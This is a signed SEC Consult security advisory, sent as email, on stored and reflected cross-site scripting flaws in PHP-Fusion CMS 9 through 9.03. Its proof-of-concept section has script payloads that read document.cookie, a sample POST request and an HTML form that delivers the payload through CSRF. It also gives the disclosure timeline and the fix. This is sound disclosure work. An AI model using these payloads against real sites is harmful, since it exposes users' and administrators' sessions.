SEC Consult SA-20200225-0 :: Multiple Cross-site Scripting (XSS) Vulnerabilities in PHP-Fusion CMS

--===============2055934017884955147==
Content-Type: multipart/signed; protocol="application/pkcs7-signature";
	micalg=sha-256; boundary="------------ms070306020100030301010304"

--------------ms070306020100030301010304
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

SEC Consult Vulnerability Lab Security Advisory < 20200225-0 >
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
              title: Multiple Cross-site Scripting (XSS) Vulnerabilities
            product: PHP-Fusion CMS
 vulnerable version: 9 - 9.03
      fixed version: 9.03.30
         CVE number: -
             impact: Medium
           homepage: https://www.php-fusion.co.uk
              found: 2019-12-09
                 by: M. Ali (Office Malaysia)
                     N. Ramadhan (Office Malaysia)
                     W. Ikram (Office Malaysia)
                     R. Jaafar (Office Malaysia)
                     S. Maskan (Office Malaysia)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Vendor description:
-------------------
"PHP-Fusion is a lightweight open source content management system (CMS) =
written
in PHP."

Source: https://github.com/php-fusion


Business recommendation:
------------------------
Update to the latest version of PHP-Fusion. An in-depth security
analysis performed by security professionals is highly advised, as the
software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Stored XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker (user with edit p=
ost
capability) to inject malicious client side scripting code which will be
executed in the browser of a user with "Error Log" access privilege (usua=
lly
administrator or super administrator).


2. Reflected XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker to inject malicio=
us
client side scripting code which will be executed in the browser of users=
=2E


Proof of concept:
-----------------
1. Stored XSS vulnerability
a) Edit Blog Post Function
This vulnerability can be exploited by an attacker with "edit post" capab=
ility.
By editing a blog post, malicious script code can be injected through the=

affected parameters (defined below). When saving the changes made, the
application will store the XSS payload in the database as an error (table=

<dbtableprefix>_errors). Then, the application will load all the errors t=
o
notify the administrator in the "Error Log" notification module. The XSS =
payload
will get executed on any page since it was the application behavior loadi=
ng all
the errors on any page as long as the affected user's session is active.


Below is the example on how the XSS issue can be exploited.

URL : http://$DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_ad=
min.php?aid=3D<aid>&action=3Dedit&section=3Dblog_form&blog_id=3D<id#>
METHOD : POST
PAYLOAD: '><script>alert(document.cookie)</script>
PARAMETER: blog_image, blog_image_t1, blog_image_t2

Content-Type: multipart/form-data; boundary=3D---------------------------=
247592002319215
Content-Length: 3051
Origin: http://$DOMAIN
Connection: close
Referer: http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=3D<aid>&=
action=3Dedit&section=3Dblog_form&blog_id=3D2
Cookie: [snip]

[snip]
-----------------------------247592002319215
Content-Disposition: form-data; name=3D"blog_image"
pp.jpg'><script>alert(document.cookie)</script>
[snip]


2. Reflected XSS vulnerability
a) Preview Function
This vulnerability can be exploited by an unauthenticated attacker.
The XSS payload is injected in the preview.ajax.php script through the pa=
rameter "text".
Below is the example on how the XSS issue can be exploited through CSRF.

URL : http://$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/prev=
iew/preview.ajax.php
METHOD : POST
PAYLOAD: <script>alert(document.cookie)</script>

Create a HTML file with content as below and open it with browser.

<html>
  <body>
    <form action=3D"$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/asse=
ts/preview/preview.ajax.php" method=3D"POST">
      <input type=3D"hidden" name=3D"text" value=3D"xyz<script>alert(docu=
ment.cookie)</script>zzz" />
      <input type=3D"hidden" name=3D"editor" value=3D"html" />
      <input type=3D"hidden" name=3D"url" value=3D"/infusion/xxyyzz.php" =
/>
      <input type=3D"submit" value=3D"Submit request" />
    </form>
  </body>
</html>



Vulnerable / tested versions:
-----------------------------
PHP-Fusion version 9.03.00 has been tested, which was the latest version
available at the time of the test.


Vendor contact timeline:
------------------------
2019-12-10: Contacting vendor by email
            technical-I834xit8sF6X/[email protected], sales-I834xit8sF6X/[email protected]
            billing-I834xit8sF6X/[email protected], management-I834xit8sF6X/[email protected]
2019-12-11: Vendor lead developer contact SEC Consult via Whatsapp and as=
k to
            send the detail unencrypted to his email [email protected]=
k
            Email sent to the lead developer on the same day.
2020-01-23: Vendor fixed the reported issues, but it can be bypassed. SEC=
 Consult
            informed the Lead Developer via Whatsapp. The lead developer
            requests extension (3 weeks). Latest possible release date
            changed to 24th Feb 2020.
2020-02-01: Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored=

            XSS) remains unfixed.
2020-02-04: Vendor informed fixed version available on github page.
2020-02-11: Vendor requested two weeks to inform their users to update th=
eir
            websites. Latest possible release date changed to 25th Feb 20=
20.
2020-02-11: Requesting CVE ID, only automatic reply with request ID
2020-02-21: Asking for CVE ID again, no reply
2020-02-25: Public release of security advisory


Solution:
---------
The fixed version 9.03.30 is available at the vendor's download section:
* https://www.php-fusion.co.uk/php_fusion_9_downloads.php


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. I=
t
ensures the continued knowledge gain of SEC Consult in the field of netwo=
rk
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evalu=
ation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and v=
alid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html=


Interested in improving your cyber security with the experts of SEC Consu=
lt?
Contact our local offices https://www.sec-consult.com/en/contact/index.ht=
ml
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020


--------------ms070306020100030301010304
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC
DGAwggYQMIID+KADAgECAhBNlCwQ1DvglAnFgS06KwZPMA0GCSqGSIb3DQEBDAUAMIGIMQsw
CQYDVQQGEwJVUzETMBEGA1UECBMKTmV3IEplcnNleTEUMBIGA1UEBxMLSmVyc2V5IENpdHkx
HjAcBgNVBAoTFVRoZSBVU0VSVFJVU1QgTmV0d29yazEuMCwGA1UEAxMlVVNFUlRydXN0IFJT
QSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xODExMDIwMDAwMDBaFw0zMDEyMzEyMzU5
NTlaMIGWMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYD
VQQHEwdTYWxmb3JkMRgwFgYDVQQKEw9TZWN0aWdvIExpbWl0ZWQxPjA8BgNVBAMTNVNlY3Rp
Z28gUlNBIENsaWVudCBBdXRoZW50aWNhdGlvbiBhbmQgU2VjdXJlIEVtYWlsIENBMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyjztlApB/975Rrno1jvm2pK/KxBOqhq8gr2+
JhwpKirSzZxQgT9tlC7zl6hn1fXjSo5MqXUfItMltrMaXqcESJuK8dtK56NCSrq4iDKaKq9N
xOXFmqXX2zN8HHGjQ2b2Xv0v1L5Nk1MQPKA19xeWQcpGEGFUUd0kN+oHox+L9aV1rjfNiCj3
bJk6kJaOPabPi2503nn/ITX5e8WfPnGw4VuZ79Khj1YBrf24k5Ee1sLTHsLtpiK9OjG4iQRB
dq6Z/TlVx/hGAez5h36bBJMxqdHLpdwIUkTqT8se3ed0PewDch/8kHPo5fZl5u1B0ecpq/sD
N/5sCG52Ds+QU5O5EwIDAQABo4IBZDCCAWAwHwYDVR0jBBgwFoAUU3m/WqorSs9UgOHYm8Cd
8rIDZsswHQYDVR0OBBYEFAnA8vwL2pTbX/4r36iZQs/J4K0AMA4GA1UdDwEB/wQEAwIBhjAS
BgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDBDARBgNV
HSAECjAIMAYGBFUdIAAwUAYDVR0fBEkwRzBFoEOgQYY/aHR0cDovL2NybC51c2VydHJ1c3Qu
Y29tL1VTRVJUcnVzdFJTQUNlcnRpZmljYXRpb25BdXRob3JpdHkuY3JsMHYGCCsGAQUFBwEB
BGowaDA/BggrBgEFBQcwAoYzaHR0cDovL2NydC51c2VydHJ1c3QuY29tL1VTRVJUcnVzdFJT
QUFkZFRydXN0Q0EuY3J0MCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29t
MA0GCSqGSIb3DQEBDAUAA4ICAQBBRHUAqznCFfXejpVtMnFojADdF9d6HBA4kMjjsb0XMZHz
tuOCtKF+xswhh2GqkW5JQrM8zVlU+A2VP72Ky2nlRA1GwmIPgou74TZ/XTarHG8zdMSgaDrk
VYzz1g3nIVO9IHk96VwsacIvBF8JfqIs+8aWH2PfSUrNxP6Ys7U0sZYx4rXD6+cqFq/ZW5BU
fClN/rhk2ddQXyn7kkmka2RQb9d90nmNHdgKrwfQ49mQ2hWQNDkJJIXwKjYA6VUR/fZUFeCU
isdDe/0ABLTI+jheXUV1eoYV7lNwNBKpeHdNuO6Aacb533JlfeUHxvBz9OfYWUiXu09sMAvi
M11Q0DuMZ5760CdO2VnpsXP4KxaYIhvqPqUMWqRdWyn7crItNkZeroXaecG03i3mM7dkiPaC
kgocBg0EBYsbZDZ8bsG3a08LwEsL1Ygz3SBsyECa0waq4hOf/Z85F2w2ZpXfP+w8q4ifwO90
SGZZV+HR/Jh6rEaVPDRF/CEGVqR1hiuQOZ1YL5ezMTX0ZSLwrymUE0pwi/KDaiYB15uswgeI
AcA6JzPFf9pLkAFFWs1QNyN++niFhsM47qodx/PL+5jR87myx5uYdBEQkkDc+lKB1Wct6ucX
qm2EmsaQ0M95QjTmy+rDWjkDYdw3Ms6mSWE3Bn7i5ZgtwCLXgAIe5W8mybM2JzCCBkgwggUw
oAMCAQICEQCqEvWSMxa60FTK/mX98WsoMA0GCSqGSIb3DQEBCwUAMIGWMQswCQYDVQQGEwJH
QjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRgwFgYD
VQQKEw9TZWN0aWdvIExpbWl0ZWQxPjA8BgNVBAMTNVNlY3RpZ28gUlNBIENsaWVudCBBdXRo
ZW50aWNhdGlvbiBhbmQgU2VjdXJlIEVtYWlsIENBMB4XDTIwMDIxOTAwMDAwMFoXDTIzMDIx
ODIzNTk1OVowggFRMQswCQYDVQQGEwJBVDENMAsGA1UEERMEMjcwMDEWMBQGA1UECBMNTG93
ZXIgQXVzdHJpYTEVMBMGA1UEBxMMV3IuIE5ldXN0YWR0MRcwFQYDVQQJEw5Lb21hcmlnYXNz
ZSAxNDEuMCwGA1UEChMlU0VDIENvbnN1bHQgVW50ZXJuZWhtZW5zYmVyYXR1bmcgR21iSDFJ
MEcGA1UECxNASXNzdWVkIHRocm91Z2ggU0VDIENvbnN1bHQgVW50ZXJuZWhtZW5zYmVyYXR1
bmcgR21iSCBFLVBLSSBNYW5hZzEfMB0GA1UECxMWQ29ycG9yYXRlIFNlY3VyZSBFbWFpbDEm
MCQGA1UEAxMdU0VDIENvbnN1bHQgVnVsbmVyYWJpbGl0eSBMYWIxJzAlBgkqhkiG9w0BCQEW
GHJlc2VhcmNoQHNlYy1jb25zdWx0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMjhLLCjQCn+Gf7TyDcOlNIfQvq4jLeuo9LrBZLXOG4ccfndc/C+gWtIcub0rnzHF/F7
v+Ag636eDTLmECZUbAfPkNz7KNwXp8MpcnvMxMFIMmjODSjRZEla+cVOblNM9bVjJT7Lxt1j
bKzwDXxefF6EskGbJxqLcbAKJOE2CWK6KQBTyx6tXoi4Zmbqx5A0bt/vUOFansPvVOFqFh8s
WnHxqm/ASap5CsIpORcBeTmQlO0zCXgCiW72SaNfDLemVxo18Hx/O3i7juD8NR8NOL8tZCSV
JH+X12CAlfpDzPqx9JPZ+thPQ/e9DYTWIyGSP5zE80mpqSgBQLLVjAIDQfECAwEAAaOCAdEw
ggHNMB8GA1UdIwQYMBaAFAnA8vwL2pTbX/4r36iZQs/J4K0AMB0GA1UdDgQWBBSpYREAZ3TJ
TDKYmZRoqa17m9EH5zAOBgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAU
BggrBgEFBQcDBAYIKwYBBQUHAwIwQAYDVR0gBDkwNzA1BgwrBgEEAbIxAQIBAQEwJTAjBggr
BgEFBQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwWgYDVR0fBFMwUTBPoE2gS4ZJaHR0
cDovL2NybC5zZWN0aWdvLmNvbS9TZWN0aWdvUlNBQ2xpZW50QXV0aGVudGljYXRpb25hbmRT
ZWN1cmVFbWFpbENBLmNybDCBigYIKwYBBQUHAQEEfjB8MFUGCCsGAQUFBzAChklodHRwOi8v
Y3J0LnNlY3RpZ28uY29tL1NlY3RpZ29SU0FDbGllbnRBdXRoZW50aWNhdGlvbmFuZFNlY3Vy
ZUVtYWlsQ0EuY3J0MCMGCCsGAQUFBzABhhdodHRwOi8vb2NzcC5zZWN0aWdvLmNvbTAjBgNV
HREEHDAagRhyZXNlYXJjaEBzZWMtY29uc3VsdC5jb20wDQYJKoZIhvcNAQELBQADggEBAG3h
PGEd6a0iPVOK7nEk+NigrOcYslK17zTVQSGnki/Nil1RcoC9k+eX5fIWDmFeqdMIwxjx2isV
mlXgph5sVc6QG4RcTvhaM9yhVbNrrw4vdv6jBJMghtU/jOwECryDXIwBEQ6RqHYLdAyo4ZFo
+ra9jpoTYfc81c3RAck2cwEq2yyXatFnEN1DRZ3oVLYg9cVkrDA3Af0UMv11TjawxHmyZyYY
2GGLiqTz0gsetS625bcD7gR2QfPiJ8L35PZg9SUgjPOSze3kwLEAbeOK4iJNmkPKpHrr5hh0
+4PZJaTcNwO5mRXxZFIRZfZ71kMZjAsG53a1ZHYnW5BJpMPYlBoxggQ1MIIEMQIBATCBrDCB
ljELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMH
U2FsZm9yZDEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMT4wPAYDVQQDEzVTZWN0aWdvIFJT
QSBDbGllbnQgQXV0aGVudGljYXRpb24gYW5kIFNlY3VyZSBFbWFpbCBDQQIRAKoS9ZIzFrrQ
VMr+Zf3xaygwDQYJYIZIAWUDBAIBBQCgggJZMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEw
HAYJKoZIhvcNAQkFMQ8XDTIwMDIyNTE2MTMwN1owLwYJKoZIhvcNAQkEMSIEIL+7PurGLkwi
TeQloeCTNZ91RLsYn9pLEWOfVR+erOTeMGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEq
MAsGCWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwIC
AUAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgb0GCSsGAQQBgjcQBDGBrzCBrDCBljELMAkG
A1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9y
ZDEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMT4wPAYDVQQDEzVTZWN0aWdvIFJTQSBDbGll
bnQgQXV0aGVudGljYXRpb24gYW5kIFNlY3VyZSBFbWFpbCBDQQIRAKoS9ZIzFrrQVMr+Zf3x
aygwgb8GCyqGSIb3DQEJEAILMYGvoIGsMIGWMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3Jl
YXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRgwFgYDVQQKEw9TZWN0aWdvIExp
bWl0ZWQxPjA8BgNVBAMTNVNlY3RpZ28gUlNBIENsaWVudCBBdXRoZW50aWNhdGlvbiBhbmQg
U2VjdXJlIEVtYWlsIENBAhEAqhL1kjMWutBUyv5l/fFrKDANBgkqhkiG9w0BAQEFAASCAQAJ
s9Q3/7UmFTuFnstVcU10zFFjGs32itcnRiRXzE2qLQdllToN5UMHDMI1TsRvdfwfLPhI8zjM
Lbh/CxxmmciGH5+fD40MbL08fu0YtQ/OfnK8TufZlSWiiRWqdHEOJLQnEl4S4yJ1FUMBxbaJ
1XCuDvj1FtjJOzjdrg1RyvtLFtxS5n5QU8BcZvJx4VyKoKzdtI8ea7nyR5ILCvOBFR+5FNgy
uba1mE3G23h1mTY1p6ncThsivm7Nft2dme3NyyYe73/oqNcW57LvGBBMoZPyNLFGLL5fW8DW
NRUSJRkkjnsEiapsvcuwaGFdmKB1YmV6/UApgZIB7Q/1cpXMOdYyAAAAAAAA
--------------ms070306020100030301010304--

--===============2055934017884955147==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline